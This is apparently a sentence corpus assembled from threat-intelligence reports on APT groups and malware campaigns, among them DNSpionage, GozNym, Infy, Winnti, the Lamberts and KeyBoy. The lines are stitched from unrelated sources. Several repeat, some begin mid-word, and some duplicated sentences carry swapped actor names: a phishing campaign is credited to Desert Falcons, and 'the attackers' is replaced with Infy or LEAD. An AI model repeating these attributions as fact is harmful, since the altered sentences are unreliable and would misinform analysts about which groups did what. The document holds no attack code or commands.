COVELLITE operates globally with targets primarily in Europe , East Asia , and North America .
US targets emerged in September 2017 with a small , targeted phishing campaign directed at select U.S. electric companies .
LAZARUS GROUP is responsible for attacks ranging from the 2014 attack on Sony Pictures to a number of Bitcoin heists in 2017 .
Technical analysis of COVELLITE malware indicates an evolution from known LAZARUS toolkits .
COVELLITE remains active but appears to have abandoned North American targets , with indications of activity in Europe and East Asia .
Given the group 's specific interest in infrastructure operations , rapidly improving capabilities , and history of aggressive targeting , Dragos considers this group a primary threat to the ICS industry .
Delivering a backdoor and spyware , this campaign was designed to steal information from infected systems using a malware client capable of filtering out " uninteresting " files , and spread primarily via a targeted phishing email usually promising a pornographic video .
Lookout researchers have discovered a new mobile surveillanceware family , FrozenCell .
The threat is likely targeting employees of various Palestinian government agencies , security services , Palestinian students , and those affiliated with the Fatah political party .
Delivering a backdoor and spyware , Desert Falcons 's campaign was designed to steal information from infected systems using a malware client capable of filtering out " uninteresting " files , and spread primarily via a targeted phishing email usually promising a pornographic video .
FrozenCell is the mobile component of a multi-platform attack we've seen a threat actor known as " Two-tailed Scorpion/APT-C-23 " , use to spy on victims through compromised mobile devices and desktops .
This threat is another proof point that attackers are clearly incorporating the mobile device into their surveillance campaigns as a primary attack vector .
Desert Falcons is keenly aware of the information they can derive from these devices and are using multi-stage ( phishing + an executable ) , multi-platform ( Android + desktop ) attacks to accomplish their spying .
FrozenCell masquerades as fake updates to chat applications like Facebook , WhatsApp , Messenger , LINE , and LoveChat .
For example , the actors behind FrozenCell used a spoofed app called Tawjihi 2016 , which Jordanian or Palestinian students would ordinarily use during their general secondary examination .
It appears the Desert Falcons sent malicious executables though phishing campaigns impersonating individuals associated with the Palestinian Security Services , the General Directorate of Civil Defence - Ministry of the Interior , and the 7th Fateh Conference of the Palestinian National Liberation Front ( held in late 2016 ) .
The titles and contents of these files suggest that the actor targeted individuals affiliated with these government agencies and the Fatah political party .
We believe that this is a new variant of VAMP , indicating that the threat actors behind APT-C-23 are still active and continuously improving their product .
VAMP targeted various types of data from the phones of victims : images , text messages , contacts , and call history , among others .
Recently , Trend Micro researchers came across a new mobile malware family which we have called GnatSpy .
On Nov. 27 , 2018 , Cisco 's Talos research division published a write-up outlining the contours of a sophisticated cyber espionage campaign it dubbed DNSpionage .
Talos said the perpetrators of DNSpionage were able to steal email and other login credentials from a number of government and private sector entities in Lebanon and the United Arab Emirates by hijacking the DNS servers for these targets , so that all email and virtual private networking ( VPN ) traffic was redirected to an Internet address controlled by the attackers .
Talos reported that these DNS hijacks also paved the way for the attackers to obtain SSL encryption certificates for the targeted domains ( e.g.webmail.finance.gov.lb ) , which allowed them to decrypt the intercepted email and VPN credentials and view them in plain text .
That changed on Jan. 25 , 2019 , when security firm CrowdStrike published a blog post listing virtually every Internet address known to be ( ab )used by the espionage campaign to date .
Working backwards from each Internet address , I was able to see that in the last few months of 2018 the hackers behind DNSpionage succeeded in compromising key components of DNS infrastructure for more than 50 Middle Eastern companies and government agencies , including targets in Albania , Cyprus , Egypt , Iraq , Jordan , Kuwait , Lebanon , Libya , Saudi Arabia and the United Arab Emirates .
PCH is a nonprofit entity based in northern California that also manages significant amounts of the world 's DNS infrastructure , particularly the DNS for more than 500 top-level domains and a number of the Middle East top-level domains targeted by DNSpionage .
This APT group usually carries out target attacks against government agencies to steal sensitive information .
In addition to spreading malware via spear fishing email with Office attachment containing either vulnerability or malicious macro , this group is particularly good at leveraging malicious Android APKs in the target attacks .
We named the actor DustSquad and have provided private intelligence reports to our customers on four of their campaigns involving custom Android and Windows malware .
In this blogpost we cover a malicious program for Windows called Octopus that mostly targets diplomatic entities .
We also started monitoring the malware and , using Kaspersky Attribution Engine based on similarity algorithms , discovered that Octopus is related to DustSquad , something we reported in April 2018 .
From early 2014 until December 2018 , ns0.idm.net.lb pointed to 194.126.10.18 , which appropriately enough is an Internet address based in Lebanon .
Kaspersky Lab products detect the Octopus Trojan as Trojan.Win32.Octopus.gen .
Political entities in Central Asia have been targeted throughout 2018 by different actors , including IndigoZebra , Sofacy ( with Zebrocy malware ) and most recently by DustSquad ( with Octopus malware ) .
El Machete is one of these threats that was first publicly disclosed and named by Kaspersky here .
We've found that this group has continued to operate successfully , predominantly in Latin America , since 2014 .
All attackers simply moved to new C2 infrastructure , based largely around dynamic DNS domains , in addition to making minimal changes to the malware in order to evade signature-based detection .
In the case of Octopus , DustSquad used Delphi as their programming language of choice , which is unusual for such an actor .
Targets included a wide array of high-profile entities , including intelligence services , military , utility providers ( telecommunications and power ) , embassies , and government institutions .
Some time ago , a Kaspersky Lab customer in Latin America contacted us to say he had visited China and suspected his machine was infected with an unknown , undetected malware .
It was a targeted attack we are calling " Machete " .
At first look , it pretends to be a Java related application but after a quick analysis , it was obvious this was something more than just a simple Java file .
" Machete " is a targeted attack campaign with Spanish speaking roots .
The decoy slideshows all contain photos from very meaningful events to individuals in Thailand , suggesting that the actors continually look for impactful events to use to disguise their attacks .
In some cases , such as Russia , the target appears to be an embassy from one of the countries of this list .
Both attackers and victims speak Spanish natively , as we see it consistently in the source code of the client side and in the Python code .
We are also grateful to the Private Office of his Holiness the Dalai Lama , the Tibetan Government-in-Exile , the missions of Tibet in London , Brussels , and New York , and Drewla ( a Tibetan NGO ) .
Between June 2008 and March 2009 the Information Warfare Monitor conducted an extensive and exhaustive two-phase investigation focused on allegations of Chinese cyber espionage against the Tibetan community .
These instances of Gh0st RAT are consistently controlled from commercial Internet access accounts located on the island of Hainan , People's Republic of China .
The fieldwork generated extensive data that allowed us to examine Tibetan information security practices , as well as capture real-time evidence of malware that had penetrated Tibetan computer systems .
It is therefore possible that the large percentage of high value targets identified in our analysis of the GhostNet are coincidental , spread by contact between individuals who previously communicated through e-mail .
Where they exist , they often use grey market or pirated software .
Contextually relevant emails are sent to specific targets with attached documents that are packed with exploit code and Trojan horse programmes designed to take advantage of vulnerabilities in software installed on the target 's computer .
GhostNet represents a network of compromised computers resident in high-value political , economic , and media locations spread across numerous countries worldwide .
After that , the attacker is capable to control the compromised device .
The computers of diplomats , military attachés , private assistants , secretaries to Prime Ministers , journalists and others are under the concealed control of unknown assailant (s ) .
The C&C server ( 82.137.255.56 ) used by the above backdoors was used by APT-C-27 ( Goldmouse ) many times since 2017 .
According to 360 Threat Intelligence Center , Goldmouse was observed deploying the nebulous njRAT backdoor .
The banking malware GozNym has legs ; only a few weeks after the hybrid Trojan was discovered , it has reportedly spread into Europe and begun plaguing banking customers in Poland with redirection attacks .
The APT group is reportedly targeting the Middle East region .
The malware has started targeting corporate , SMB , investment banking and consumer accounts at banks , including some in Portugal and the U.S. , in addition to Poland , according to researchers at IBM 's X-Force team .
According to Kessem the malware has redirection instructions for 17 banks , and features an additional 230 URLs to assist attackers in targeting community banks and email service providers in Poland .
With GozNym , attackers dupe users by showing them the actual bank 's URL and SSL certificate .
Fresh from targeting banks in Poland , the banking Trojan GozNym has begun taking aim at banks in Germany .
Attackers went on to use the Trojan to steal $4 million from 24 banks , including 22 in the United States and two in Canada , in just two weeks .
Recreating and maintaining fake bank sites can be an arduous task , but Kessem claims the GozNym group appears up to the task .
The malware is distributed primarily through laced spam emails that lure recipients into opening attachments .
Fresh from targeting banks in Poland , the banking Trojan has reportedly begun taking aim at banks in Germany .
Now GozNym is now targeting 13 banks and subsidiaries in Germany , Limor Kessem , Executive Security Advisor at IBM , said Tuesday .
he Trojan , a hybrid of Nymaim and Gozi malware , initially formed in April and thrives on carrying out redirection attacks via DNS poisoning .
In April , shortly after the Trojan 's discovery , researchers observed a massive GozNym campaign targeting 24 North American banks .
The method , which technically redirects users through local DNS poisoning , requires a fair bit of work ; recreating and maintaining fake bank sites can be an arduous task , but Kessem claims the group behind GozNym – Nymaim – appear up to the task .
Attackers behind Dyre have used similar tactics in the past but have only deployed their attacks in English speaking countries and Spain .
When we last heard from the Trojan , its operators were seen launching redirection attacks on four large , U.S. banks in June .
The fact that the cybercriminals behind GozNym have already adapted the Trojan for three different languages and in countries which have different banking systems is unique , according to Kessem .
By the end of April , GozNym had redirection instructions for 17 Polish banks in its repertoire , along with an extra 230 URLs designed to assist attackers in targeting community banks and email service providers in the Eastern European country .
Seeking to tease out any possible links between Operation Aurora , VOHO , Operation DeputyDog , and Ephemeral Hydra , we began with Symantec 's Hidden Lynx report as our foundation .
The authors of that report identify three primary tools used in the campaigns attributed to Hidden Lynx : Trojan.Naid , Backdoor.Moudoor , and Backdoor.Hikit .
We will detail how the C&C infrastructure and tools used by hacker group Hidden Lynx during its VOHO campaign ( 2012 ) , excellently documented by Symantec researchers last September , overlap with tools used in other high profile operations during the past few years .
When the New York Times and Mandiant last year unmasked a large scale Chinese hacking operation , pinpointing its location down to the building , the report drew mainstream attention to what security professionals already well knew : sophisticated threat actors carry out persistent cyber operations over months and years .
By the end of April , GozNym had redirection instructions for 17 Polish banks in its repertoire , along with an extra 230 URLs designed to assist attackers in targeting community banks and email service providers in the Eastern European country .
Using Recorded Future , we quickly built a timeline of the reported use of those tools in major security incidents , finding many events prior to the early 2013 exposé on Hidden Lynx .
In particular , FireEye during the fall of 2013 called out infrastructure overlap between Ephemeral Hydra and DeputyDog .
The above network shows relationships between three tools used by Hidden Lynx during its VOHO campaign : Trojan.Naid , Backdoor.Moudoor , and Backdoor.Hikit .
Symantec during 2012 linked the Elderwood Project to Operation Aurora ; Trojan.Naid and Backdoor.Moudoor were also used in Aurora , by the Elderwood Gang , and by Hidden Lynx .
In addition to these , we also identified " Macfog " , a native Mac OS X implementation of Icefog that infected several hundred victims worldwide .
Icefog , also known as the " Dagger Panda " by Crowdstrike 's naming convention , infected targets mainly in South Korea and Japan .
In 2013 , a public report reveals a group of actors conducted targeted attacks leverage a malware dubbed ICEFOG against mainly government organizations and defense industry of South Korea and Japan .
Similar to our approach with Symantec 's report on Hidden Lynx , we used Recorded Future to organize the technical details about the DeputyDog attacks to reveal technical information described in the open source reporting across multiple campaigns .
With Javafog , we are turning yet another page in the Icefog story by discovering another generation of backdoors used by the attackers .
Since January 2013 , we've been on the lookout for a possible RedOctober comeback .
One possible hit was triggered when we observed Mevade , an unusual piece of malware that appeared late in 2013 .
In August 2014 , some of our users observed targeted attacks with a variation of CVE-2012-0158 and an unusual set of malware .
It wasn't until August 2014 that we observed something which made us wonder if RedOctober is back for good .
The Cloud Atlas implants utilize a rather unusual C&C mechanism .
We named it RedOctober because we started this investigation in October 2012 , an unusually hot month .
The attackers upload data to the account , which is downloaded by the implant , decrypted and interpreted .
Just like with RedOctober , the top target of Cloud Atlas is Russia , followed closely by Kazakhstan , according to data from the Kaspersky Security Network ( KSN ) .
In May 2015 , Palo Alto Networks WildFire detected two e-mails carrying malicious documents from a genuine and compromised Israeli Gmail account , sent to an Israeli industrial organization .
One e-mail carried a Microsoft PowerPoint file named " thanks.pps " ( VirusTotal ) , the other a Microsoft Word document named " request.docx " .
Around the same time , WildFire also captured an e-mail containing a Word document ( " hello.docx " ) with an identical hash as the earlier Word document , this time sent to a U.S. Government recipient .
Attacks using this tool were still active as of April 2016 .
Considering the language being used in the malicious code is Arabic , it seems that the attacker is familiar with Arabic language as well .
The initially-observed " thanks.pps " example tricks the user into running the embedded file named ins8376.exe which loads a payload DLL named mpro324.dll .
In this case , the file used the software name " Cyberlink " , and a description of " CLMediaLibrary Dynamic Link Library " and listing version 4.19.9.98 .
Unit 42 published a blog at the beginning of May titled " Prince of Persia " , in which we described the discovery of a decade-long campaign using a formerly unknown malware family , Infy , that targeted government and industry interests worldwide .
We noted in our original blog the large amount of targeting of Iranian citizens in this campaign , we observed almost one-third of all victims to be Iranian .
In addition to the original " Infy " variant , we also see the newer , more sophisticated , interactive , and fuller-featured " Infy M " variant deployed against apparently-higher-value targets .
This documentation provides new insight into intrusion efforts conducted by at least four discrete Iranian threat actors , Rocket Kitten , Infy , Sima , and Operation Cleaver , including groups and tools that have not been previously disclosed .
Since early 2013 , we have observed activity from a unique threat actor group , which we began to investigate based on increased activities against human right activists in the beginning of 2015 .
Over the course of three years of observation of campaigns targeting civil society and human rights organizations , from records of well over two hundred spearphishing and other intrusion attempts against individuals inside of Iran and in the diaspora , a narrative of persistent intrusion efforts emerges .
Thanks to information we have been able to collect during the course of our research , such as characteristics of the group 's malware and development cycle , our research strongly supports the claim that the Infy group is of Iranian origin and potentially connected to the Iranian state .
Amongst a backdrop of other incidents , Infy became one of the most frequently observed agents for attempted malware attacks against Iranian civil society beginning in late 2014 , growing in use up to the February 2016 parliamentary election in Iran .
Until the publication of the Palo Alto report , the developers of the Infy appeared to be actively updating and maintaining the codebase , and new releases were distributed to existing , as well as new , targets quite regularly .
Other samples were found bearing a compilation time as early as June 2012 and version 00002 .
Over the months following the elections , the accounts of Iranians that had been compromised by the actors were then used for spreading the malware .
When activities targeting of civil society subsided , the actors instead appeared to have focused on external targets , such a series of attempts to spearphish the Danish Ministry of Foreign Affairs .
Palo Alto Networks has noted and described the differences of two malware agents developed in parallel , with commonalities in behavior but differing functionalities ; families described as Infy and Infy M. Our primary observation was of the Infy ( non-M ) malware , which primarily functions as a keylogger for the collection of account credentials .
Our observation of Infy 's campaigns , primarily through the lens of spearphishing attacks against Iranian civil society and media organizations , indicates a wandering focus on particular demographics on a strategic basis over time .
The Infy malware was seen targeting Iranians again in June 2015 , when it was shared with researchers after being sent to a broadcast journalist at BBC Persian with a generic introduction and a PowerPoint presentation attached titled " Nostalogy " ( sic ) .
Based on information collected in the course of this research , the targets and victims of Infy 's campaigns have continued to be strongly aligned with Iran 's " soft war " agenda , internal security policies , and regional adversaries of the hardline establishment of the Islamic Republic of Iran .
Until late December 2015 , in nearly every Infy message documented since our tracking began in May 2013 , no attempt included strong tailoring of the approach , often not even including an email body , instead relying on cryptic filenames and email subjects to attract interest .
One narrowly-targeted spearphishing from Infy was sent from the compromised account of a political activist promoting participation inside of Iran , claiming to be a set of images of a British-Iranian dual national that has been held in Evin Prison for five years on espionage charges .
As in the past , these messages have been sent accounts believed to be fake and accounts compromised by Infy , including Kurdish activists that had previously been compromised by the Flying Kitten actor group .
The actors successfully compromised a host of an Saudi government institutions on January 17 , 2016 , and maintained access for at least two weeks .
The Infy group also appears to engage in espionage activities against foreign governments and businesses .
In order to initially compromise the designated targets , Infy typically distributed specifically-crafted malicious documents containing Infy through spearphishing attacks .
In order to initially compromise the designated targets , the attackers typically distributed specifically-crafted malicious documents containing Infy through spearphishing attacks .
On May 2 , 2016 , Palo Alto Networks published the report " Prince of Persia " , which provided the first public and widely-reported indication of Infy 's activities in Iran , while other publications either refrained from making the association or were not openly available .
Prior to the distribution of new versions of the agent , the Infy developers appear to consistently conduct tests from local hosts , which indicates that the control and maintenance of the software occurs in the Khorasan Razavi province of Iran , potentially in the city of Mashhad .
On May 2 , 2016 , Palo Alto published the report " Prince of Persia " , which provided the first public and widely-reported indication of Infy 's activities in Iran , while other publications either refrained from making the association or were not openly available .
Only one client , based in Iran , continued to communicate with the infrastructure .
A researcher has attributed a recently publicized attack on Citrix' internal network to the Iranian-linked group known as IRIDIUM – and said that the data heist involved 6 terabytes of sensitive data .
" IRIDIUM has hit more than 200 government agencies , oil and gas companies and technology companies , including Citrix Systems Inc " , they said .
Citrix told Threatpost that this is indeed the same password-spraying attack it announced itself last week – but it wouldn't confirm the other details in Resecurity 's post , including the attribution .
In wake of these events , a security firm Resecurity reached out to NBC news and claimed that they had reasons to believe that the attacks were carried out by Iranian-linked group known as IRIDIUM .
Resecurity says that IRIDIUM " has hit more than 200 government agencies , oil and gas companies , and technology companies including Citrix .
Resecurity claims that IRIDIUM breached Citrix 's network during December 2018 .
Infy engaged in malware spearphishing against the same targets as Flying Kitten from the outset of its campaign ; Operation Cleaver has registered several resources related to development agencies that have been the subject of intrusion attempts by others since February 2014 .
The malicious samples we found are the early stage malware most often delivered by spear-phishing e-mails .
This next stage library copies itself into the System32 directory of the Windows folder after the hardcoded file name — either KBDLV2.DLL or AUTO.DLL , depending on the malware sample .
At this stage , the malware gathers information about the infected computer .
Hancom Office is widely used in South Korea .
Perhaps it also points to the suspected North Korean origin of attack .
The attacker is from North Korea .
All of them lie in ranges of the Jilin Province Network and Liaoning Province Network , in China .
Finally , this geo-location supports the likely theory that the attackers behind Kimsuky are based in North Korea .
In this blog , we look at the Winnti malware implant as used by two known activity groups BARIUM and LEAD .
According to the German press , the intruders used the Winnti family of malware as their main implant , giving them persistent access to the conglomerate 's network as early as February 2016 .
In the case of this malware , the activity groups strongly associated with Winnti are BARIUM and LEAD .
But even though they share the use of Winnti , the BARIUM and LEAD activity groups are involved in very different intrusion scenarios .
To show how this breach and similar breaches can be mitigated , we look at how Windows Defender ATP flags activities associated with BARIUM , LEAD , and other known activity groups and how it provides extensive threat intelligence about these groups .
BARIUM begins its attacks by cultivating relationships with potential victims—particularly those working in Business Development or Human Resources—on various social media platforms .
During these intrusions , LEAD 's objective was to steal sensitive data , including research materials , process documents , and project plans .
Initial intrusion stages feature the Win32/Barlaiy implant—notable for its use of social network profiles , collaborative document editing sites , and blogs for C&C .
Once BARIUM has established rapport , they spear-phish the victim using a variety of unsophisticated malware installation vectors , including malicious shortcut ( .lnk ) files with hidden payloads , compiled HTML help ( .chm ) files , or Microsoft Office documents containing macros or exploits .
Instead , the group often simply emails a Winnti installer to potential victims , relying on basic social engineering tactics to convince recipients to run the attached malware .
Microsoft Analytics shows that Winnti has been used in intrusions carried out throughout Asia , Europe , Oceania , the Middle East , and the United States in the last six months ( Figure 1 ) .
Instead , Lead often simply emails a Winnti installer to potential victims , relying on basic social engineering tactics to convince recipients to run the attached malware .
In some other cases , LEAD gains access to a target by brute-forcing remote access login credentials , performing SQL injection , or exploiting unpatched web servers , and then they copy the Winnti installer directly to compromised machines .
This was the case in two known intrusions in 2015 , where attackers named the implant DLL " ASPNET_FILTER.DLL " to disguise it as the DLL for the ASP.NET ISAPI Filter .
Windows Defender ATP helps network security professionals deal with intrusions from activity groups like LEAD and BARIUM in several ways .
The following examples were developed using a Winnti installer that was used in attacks in December 2016 .
The Windows 10 Creators Update will bring several enhancements to Windows Defender ATP that will provide SOC personnel with options for immediate mitigation of a detected threat .
LEAD and BARIUM are not known for large-scale spear-phishing , so it is unlikely that SOC personnel would have to deal with multiple machines having been compromised by these groups at the same time .
And , finally , with the upcoming Creators Update , Windows Defender ATP will provide additional capabilities for detecting threats such as Winnti , as well as centralized response options , such as machine isolation and file blocking , that will enable fast containment of known attack jump off points .
The police suspected Lurk of stealing nearly three billion rubles , using malicious software to systematically withdraw large sums of money from the accounts of commercial organizations , including banks .
When we first encountered Lurk , in 2011 , it was a nameless Trojan .
While the machine is in isolation , SOC personnel can direct the infected machine to collect live investigation data , such as the DNS cache or security event logs , which they can use to verify alerts , assess the state of the intrusion , and support follow-up actions .
This article is an attempt to share this experience with other experts , particularly the IT security specialists in companies and financial institutions that increasingly find themselves the targets of cyber-attacks .
In most cases , the attackers only had to infect the computer on which the RBS software was installed in order to start stealing the cash .
We were soon able to help investigate another incident involving Lurk .
This event significantly affected the Russian cybercriminal world as the gang had stolen hundreds of millions of rubles during a few years of activity , and was considered a " leader " among cybercriminals .
In Russia , there were several relatively large cybercriminal groups engaged in financial theft via attacks on RBS .
In April 2013 , a year after we found the " bodiless " Lurk module , the Russian cybercriminal underground exploited several families of malicious software that specialized in attacks on banking software .
Through the information exchanges used by people in the security industry , we learned that several Russian banks were struggling with malicious programs created specifically to attack a particular type of legal banking software .
If it did , the malware downloaded additional modules , including ones allowing for the automatic creation of unauthorized payment orders , changing details in legal payment orders , etc .
As far as we can judge from the data we have , in 2014 the criminal group behind Lurk seriously reduced its activity and " lived from hand to mouth " , attacking anyone they could , including ordinary users .
In February 2015 , Kaspersky Lab 's Global Research and Analysis Team ( GReAT ) released its research into the Carbanak campaign targeting financial institutions .
Since 2011 , the robbers had allegedly been stealing money directly from bank accounts in Russia and other countries of the Commonwealth of Independent States ( CIS ) by using a Trojan called Lurk .
which they launched targeted attacks against Russian banks , businesses and media companies .
Lurk uses a form of steganography : that's where one file is hidden away inside another file of a completely different sort , such as an image , audio , or video file .
The latest version of Madi also has the ability to monitor the Russian social network Vkontakte ( VK ) along with the Jabber messaging platform to look for users who visit websites that contain words like " USA " , " Skype " , and " gov " .
Madi was found capturing computer screens , recording audio and stealing screenshots , keystrokes , documents and e-mail correspondence from " Middle Eastern critical infrastructure engineering firms , government agencies , financial houses and academia .
A timeline of new activity can be scoped out for the group , with the greatest number of related downloaders created by the developers in December 2011 , Feb and March of 2012 , followed by June of 2012 .
it reports to was created on August 10 , 2011 .
Since at least 2008 , The Lamberts have used multiple sophisticated attack tools against high-profile victims .
Longhorn , which we internally refer to as " The Lamberts " , first came to the attention of the ITSec community in 2014 , when our colleagues from FireEye discovered an attack using a zero day vulnerability ( CVE-2014-4148 ) .
The attack leveraged malware we called ' BlackLambert ' , which was used to target a high profile organization in Europe .
Their arsenal includes network-driven backdoors , several generations of modular backdoors , harvesting tools , and wipers .
The first time the Lambert family malware was uncovered publicly was in October 2014 , when FireEye posted a blog about a zero day exploit ( CVE-2014-4148 ) used in the wild .
Interestingly , while most Blue Lambert variants have version numbers in the range of 2.x , Green Lambert is mostly in 3.x versions .
While investigating one of these infections involving White Lambert ( network-driven implant ) and Blue Lambert ( active implant ) , we found yet another family of tools that appear to be related .
Versions of this particular orchestrator were found on other victims , together with White Lambert samples , indicating a close relationship between the White and Pink Lambert malware families .
While in most cases the infection vector remains unknown , the high profile attack from 2014 used a very complex Windows TTF zero-day exploit ( CVE-2014-4148 ) .
This migration activity was last observed in October 2016 .
Most of the Blue and Green Lambert samples have two C&C servers hardcoded in their configuration block : a hostname and an IP address .
Some of the known filenames for Gray Lambert are mwapi32.dll and poolstr.dll – it should be pointed though that the filenames used by the Lamberts are generally unique and have never been used twice .
Black Lambert was seen only briefly and we assume it was " retired " from the arsenal after being discovered by FireEye in 2014 .
The Lamberts toolkit spans across several years , with most activity occurring in 2013 and 2014 .
To further exemplify the proficiency of the attackers leveraging the Lamberts toolkit , deployment of Black Lambert included a rather sophisticated TTF zero day exploit , CVE-2014-4148 .
Taking that into account , we classify the Lamberts as the same level of complexity as Regin , ProjectSauron , Equation and Duqu2 , which makes them one of the most sophisticated cyber espionage toolkits we have ever analysed .
Taking that into account , we classify the Lamberts as the same level of complexity as Regin , ProjectSauron , Equation and Duqu2 , which makes them one of the most sophisticated cyber espionage toolkits we have ever analysed .
On January 15 , Confiant exposed the activity of the Zirconium group , spreading malicious ads via a network of fake ad agencies through 2017 , in what amounted to the largest malvertising campaign of recent times .
Cadelle , uses Backdoor.Cadelspy .
Symantec telemetry identified Cadelle and Chafer activity dating from as far back as July 2014 , however , it's likely that activity began well before this date .
Chafer , uses Backdoor.Remexi .
Cadelle 's threats are capable of opening a back door and stealing information from victims' computers .
Chafer , uses Backdoor.Remexi.B .
registrant information points to activity possibly as early as 2011 .
These threats are capable of opening a back door and stealing information from victims' computers .
executable compilation times suggest early 2012 .
It's unclear how Cadelle infects its targets with Backdoor.Cadelspy .
The affected organizations we were able to identify are mostly based in the Middle East .
one organization is located in the US .
There are a number of factors in these groups' campaigns that suggests that the attackers may be based in Iran .
Remexi is a basic back door Trojan that allows attackers to open a remote shell on the computer and execute commands .
Their primary interest appears to be gathering intelligence .
This stands in opposition to the data gathered from export timestamps and C&C domain activity that points to Green Lambert being considerably older than the Blue variant .
security policy in the Eastern Europe and South Caucasus regions .
Callisto Group via credential phishingThese spear phishing emails were crafted to appear highly convincing , including being sent from legitimate email accounts suspected to have been previously compromised by the Callisto Group via credential phishing .
In early 2016 the Callisto Group began sending highly targeted spear phishing emails with malicious attachments that contained , as their final payload , the " Scout " malware tool from the HackingTeam RCS Galileo platform .
These spear phishing emails were crafted to appear highly convincing , including being sent from legitimate email accounts suspected to have been previously compromised by the Callisto Group via credential phishing .
Callisto Group appears to be intelligence gathering related to European foreign and security policy .
some indications of loosely linked activity dating back to at least 2013 .
In October 2015 , the Callisto Group was observed sending targeted credential phishing emails .
In early 2016 , the Callisto Group was observed sending targeted spear phishing emails .
The malicious attachments purported to be invitations or drafts of the agenda for the conference .
Based on our analysis of Callisto Group 's usage of RCS Galileo , we believe the Callisto Group did not utilize the leaked RCS Galileo source code , but rather used the leaked readymade installers to set up their own installation of the RCS Galileo platform .
In the known spear phishing attacks by the Callisto Group , they employed the " Scout " malware tool from the RCS Galileo platform .
We are confident the Callisto Group used this type of access to a target 's email account for the purposes of sending spear phishing to other targets .
If a target of the spear phishing described in " Phase 2 : malware deployment " opened the email attachment and , crucially , clicked on the icon in the attachment , this would lead to the target 's computer becoming infected with the " Scout " malware tool from the RCS Galileo platform .
Callisto Group and related infrastructure contain links to at least Russia , Ukraine , and China .
they have been last known to employ malware in February 2016 .
RCS Galileo platform .
The spear phishing emails used in the known attacks by the Callisto Group were so convincing that even skilled and alert users would likely have attempted to open the malicious attachment .
In October 2015 the Callisto Group targeted a handful of individuals with phishing emails that attempted to obtain the target 's webmail credentials .
The Callisto Group has been active at least since late 2015 and continues to be so , including continuing to set up new phishing infrastructure every week .
Called Greenbug , this group is believed to be instrumental in helping Shamoon steal user credentials of targets ahead of Shamoon 's destructive attacks .
On Tuesday , Arbor Networks said that it has new leads on a credential stealing remote access Trojan ( RAT ) called Ismdoor , possibly used by Greenbug to steal credentials on Shamoon 's behalf .
" With our latest research we now see how Greenbug has shifted away from HTTP-based C2 communication with Ismdoor .
It's now relying on a new DNS-based attack technique to better cloak command and control communications between Greenbug and the malware " , said Dennis Schwarz , research analyst on Arbor 's ASERT Team , in an interview with Threatpost .
t's now relying on a new DNS-based attack technique to better cloak command and control communications between Greenbug and the malware " , said Dennis Schwarz , research analyst on Arbor 's ASERT Team , in an interview with Threatpost .
By relying on a native PDF command to navigate to a new URL , Zirconium successfully circumvented Chrome 's anti-redirect protection .
In the context of the Ismdoor RAT , the DNS attack technique is used primarily by Greenbug for stealing credentials .
To do this , it employs a number of specific commands via DNSMessenger .
Iranian Threat Agent Greenbug has been registering domains similar to those of Israeli High-Tech and Cyber Security Companies .
By pivoting off the registration details and servers data of the two domains we discovered others registered by the threat agent .
Named Trochilus , this new RAT was part of Group 27 's malware portfolio that included six other malware strains , all served together or in different combinations , based on the data that needed to be stolen from each victim .
According to the security experts , this collection of malware was discovered after their first initial report was published , meaning that Group 27 ignored the fact they were unmasked and continued to infect their targets regardless , through the same entry point , the Myanmar Union Election Commission ( UEC ) website .
Trochilus RAT activity was discovered during both months of October and November 2015 .
From September 2016 through late November 2016 , a threat actor group used both the Trochilus RAT and a newly idenfied RAT we've named MoonWind to target organizations in Thailand , including a utility organization .
We chose the name ' MoonWind ' based on debugging strings we saw within the samples , as well as the compiler used to generate the samples .
The attackers compromised two legitimate Thai websites to host the malware , which is a tactic this group has used in the past .
Both the Trochilus and MoonWind RATs were hosted on the same compromised sites and used to target the same organization at the same time .
The attackers used different command and control servers ( C2s ) for each malware family , a tactic we believe was meant to thwart attempts to tie the attacks together using infrastructure alone .
Further research led us to additional MoonWind samples using the same C2 ( dns.webswindows.com ) but hosted on a different compromised but legitimate website .
The attacks in that case took place in late September to early October 2016 and the attackers stored the MoonWind samples as RAR files , while in the November attacks the RATs were stored as executables .
We were not able to find additional tools , but the attackers again compromised a legitimate Thai website to host their malware , in this case the student portal for a Thai University .
Trochilus was first reported by Arbor Networks in their Seven Pointed Dagger report tying its use to other targeted Southeast Asia activity .
The activity dates to at least 2013 and has ties to multiple reports by other researchers .
It is highly likely MoonWind is yet another new tool being used by the group or groups responsible for that activity , indicating they are not only still active but continuing to evolve their playbook .
The samples provided were alleged to be targeting Tibetan and Chinese Pro-Democracy Activists .
On June 7 , 2013 , Rapid7 released an analysis of malware dubbed ' KeyBoy ' , also exploiting unknown vulnerabilities in Microsoft Office , similarly patched by MS12-060 , but allegedly targeting interests in Vietnam and India .
As we have seen in some previous targeted malware attacks , the attackers in this incident are taking advantage of services like changeip.com to establish free subdomains in their infrastructure .
Blending in with legitimate traffic is a common tactic used by attackers to help fly under the radar .
Subdomains at phmail.us have been linked to malicious activity dating back as far as December 2011 .
Based on the patterns of subdomain registration over time in DNS , TRAC believes this is an example where the attackers registered their own second-level domain .
In this blog post we'll analyze two specific incidents apparently targeting victims in Vietnam and in India and we'll describe the capabilities of the custom backdoor being used that for convenience ( and to our knowledge , for a lack of an existing name ) we call KeyBoy , due to a string present in one of the samples .
We encountered the first document exploit called " THAM luan - GD - NCKH2.doc " a few days ago , which appears to be leveraging some vulnerabilities patched with MS12-060 .
This document , written in Vietnamese , appears to be reviewing and discussing best practices for teaching and researching scientific topics .
For the sake of this analysis we'll take the Vietnamese backdoor as an example ; the one found in the Indian attack operates in the exact same way .
In the second set they are making use of a dynamic DNS service by ChangeIP.com .
The Tibetan community has been targeted for over a decade by espionage operations that use malware to infiltrate communications and gather information .
he Tibetan community has been targeted for over a decade by espionage operations that use malware to infiltrate communications and gather information .
They are often targeted simultaneously with other ethnic minorities and religious groups in China .
Examples as early as 2008 document malware operations against Tibetan non-governmental organizations ( NGOs ) that also targeted Falun Gong and Uyghur groups .
More recently in 2016 , Arbor Networks reported on connected malware operations continuing to target these same groups , which the Communist Party of China perceives as a threat to its power .
There is the exploit code and malware used to gain access to systems , the infrastructure that provides command and control to the malware operator , and the human elements – developers who create the malware , operators who deploy it , and analysts who extract value from the stolen information .
For example , we have observed frequent reuse of older ( patched ) exploits in malware operations against the Tibetan community .
These operations involved highly targeted email lures with repurposed content and attachments that contained an updated version of KeyBoy .
In August and October 2016 we observed a malware operation targeting members of the Tibetan Parliament ( the highest legislative organ of the Tibetan government in exile , formally known as Central Tibetan Administration ) .
